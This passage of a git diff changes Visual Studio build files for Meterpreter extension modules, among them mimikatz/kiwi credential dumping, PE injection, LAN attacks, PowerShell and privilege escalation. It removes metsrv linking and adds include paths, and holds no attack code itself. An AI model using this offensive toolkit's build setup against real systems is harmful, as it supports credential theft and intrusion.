version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\source\extensions\kiwi\mimikatz\lib\Win32;..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_kiwi.map @@ -210,7 +212,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -232,10 +234,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_kiwi.map @@ -265,7 +268,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\extensions\kiwi\mimikatz\inc;..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) _POWERKATZ;WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_KIWI_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -287,10 +290,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + version.lib;ncrypt.lib;fltlib.lib;cabinet.lib;userenv.lib;Winscard.lib;advapi32.lib;crypt32.lib;cryptdll.lib;dnsapi.lib;msxml2.lib;netapi32.lib;ntdsapi.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;hid.lib;setupapi.lib;wldap32.lib;advapi32.hash.lib;ntdll.min.lib;msasn1.min.lib;netapi32.min.lib;winsta.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\source\extensions\kiwi\mimikatz\lib\x64;..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_kiwi.map @@ -324,10 +328,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -555,4 +555,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj index 1e4aa018..37e34d76 100644 --- a/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj +++ b/c/meterpreter/workspace/ext_server_lanattacks/ext_server_lanattacks.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded @@ -102,9 +102,10 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) + + false Windows false @@ -126,7 +127,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded @@ -144,9 +145,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) + + false Windows false @@ -171,7 +173,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded @@ -188,9 +190,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false Windows @@ -220,7 +223,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\lanattacks;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true MultiThreaded @@ -237,9 +240,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false Windows @@ -282,14 +286,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -299,4 +295,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj index 8c54a839..32031d54 100644 --- a/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj +++ b/c/meterpreter/workspace/ext_server_mimikatz/ext_server_mimikatz.vcxproj @@ -105,7 +105,7 @@ MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -124,10 +124,11 @@ true - backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_mimikatz.map @@ -154,7 +155,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -173,10 +174,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;backcompat.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\backcompat\$(Configuration);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_mimikatz.map @@ -206,7 +208,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -226,10 +228,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_mimikatz.map @@ -259,7 +262,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace true - ..\..\source\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_MIMIKATZ_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -279,10 +282,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - metsrv.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) + comsuppw.lib;psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;%(AdditionalDependencies) $(OutDir)$(TargetName)$(TargetExt) - ..\metsrv\$(Configuration)\$(Platform);..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + ..\..\source\jpeg-8\lib\win\x86;%(AdditionalLibraryDirectories) + + false true .\Release\ext_server_mimikatz.map @@ -316,10 +320,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false diff --git a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj index b25b2b86..02a9d799 100755 --- a/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj +++ b/c/meterpreter/workspace/ext_server_peinjector/ext_server_peinjector.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -102,11 +102,12 @@ true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_peinjector.map @@ -133,7 +134,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -151,11 +152,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_peinjector.map @@ -185,7 +187,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -202,9 +204,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_peinjector.map @@ -234,7 +237,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\peinjector;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PEINJECTOR_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -251,9 +254,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" true - Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + Netapi32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_peinjector.map @@ -303,14 +307,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -320,4 +316,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj index 0ae90316..ff10bd7d 100644 --- a/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj +++ b/c/meterpreter/workspace/ext_server_powershell/ext_server_powershell.vcxproj @@ -84,7 +84,7 @@ MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -103,11 +103,12 @@ - mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_powershell.map @@ -134,7 +135,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -153,11 +154,12 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + mscoree.lib;backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) false %(IgnoreSpecificDefaultLibraries) - metsrv.dll;%(DelayLoadDLLs) + + false true $(OutDir)\ext_server_powershell.map @@ -187,7 +189,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -205,9 +207,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_powershell.map @@ -237,7 +240,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline false - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\powershell;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_POWERSHELL_EXPORTS;%(PreprocessorDefinitions) true MultiThreaded @@ -255,9 +258,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + mscoree.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;%(AdditionalDependencies) + + + false true $(OutDir)\ext_server_powershell.map @@ -302,14 +306,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - {9e4de963-873f-4525-a7d0-ce34edbbdcca} - false - - - {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} - false - {72f0246a-a38d-4547-9057-46020e8e503d} false @@ -319,4 +315,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - \ No newline at end of file + diff --git a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj index faf0dd96..f0430230 100644 --- a/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj +++ b/c/meterpreter/workspace/ext_server_priv/ext_server_priv.vcxproj @@ -97,7 +97,7 @@ MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -121,10 +121,11 @@ 0x0409 - backcompat.lib;psapi.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;psapi.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) true - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_priv.pdb false @@ -158,7 +159,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MinSpace OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -182,10 +183,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - backcompat.lib;psapi.lib;metsrv.lib;%(AdditionalDependencies) - ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) + backcompat.lib;psapi.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);%(AdditionalLibraryDirectories) true - metsrv.dll;%(DelayLoadDLLs) + + $(OutDir)\ext_server_priv.pdb false @@ -219,7 +221,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -242,10 +244,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;metsrv.lib;%(AdditionalDependencies) + psapi.lib;%(AdditionalDependencies) true - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + + $(OutDir)\ext_server_priv.pdb false @@ -279,7 +282,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" MaxSpeed OnlyExplicitInline - ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;%(AdditionalIncludeDirectories) + ..\..\source\ReflectiveDLLInjection\common;..\..\source\extensions\priv\server;..\..\source\common;%(AdditionalIncludeDirectories) WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_PRIV_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) true MultiThreaded @@ -302,10 +305,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" 0x0409 - psapi.lib;metsrv.lib;%(AdditionalDependencies) + psapi.lib;%(AdditionalDependencies) true - ..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories) - metsrv.dll;%(DelayLoadDLLs) + + + $(OutDir)\ext_server_priv.pdb false @@ -358,18 +362,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - - 